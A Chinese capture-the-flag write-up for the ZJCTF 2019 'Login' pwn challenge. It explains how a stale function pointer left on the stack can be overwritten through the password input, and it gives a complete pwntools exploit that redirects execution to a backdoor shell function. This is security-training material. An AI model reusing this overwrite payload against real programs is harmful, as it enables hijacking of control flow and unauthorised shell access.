ZJCTF 2019 Pwn

Login

论栈都没学好的代价,看了很久,最后问了KMFL师傅,一语道破梦中人,俺的基础真的太差了orz

分析程序,是C++的反汇编,但影响不大,首先是传入Admin的用户名'admin'和密码'2jctf_pa5sw0rd',随后要求我们输入用户的name和密码,其中对name貌似没有要求,但是会检查password。

我尝试这样输入:

但是程序出现了段错误,跟踪调试可以发现是最后的函数中call rax出了问题:

看反汇编代码:

可以发现第一个参数a1是一个指向指针的指针,并把**a作为函数执行了,看汇编代码更直观:

于是我们去看看传递的第一个参数能否被我们控制:

注:这里mov指令和lea指令中的[rbp+var_130]是寄存器间接寻址,取地址

因此我们传入的参数是[rbp+var_130]的地址,那么我们执行的就是rbp+var_130中存放的内容,可以看到在上面[rbp+var_130]被赋值成rax。跟进password_checker()函数去看看rax是什么:

看来我们的rax是[rbp+var_18],于是最终我们只需要控制[rbp+var_18]中的内容为后门函数Admin::Shell()就可以了。

由于这里的函数都是在main()函数中调用的,所以password_checker()函数退栈后,read_password()函数在同一位置开栈(被调用函数都在同一位置上开栈)。因此我们可以在输入密码的时候覆盖[rbp+var_18]

exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='login'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote()
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

#z('b *0x400A13\n')
sla("Please enter username: ",'admin')
pd='2jctf_pa5sw0rd'+'\x00'*58+p64(0x400E88)
sla("Please enter password: ",pd)
p.interactive()

这里还需要注意这里的snprintf()函数:

可以看到这个函数里的s与read_password()函数中的位置相同,也就是在栈的同一位置上,如果格式化字符串过长有可能会破坏我们布置好的shell,这里利用%s\x00截断就好了~

猜你喜欢

转载自www.cnblogs.com/Theffth-blog/p/12674951.html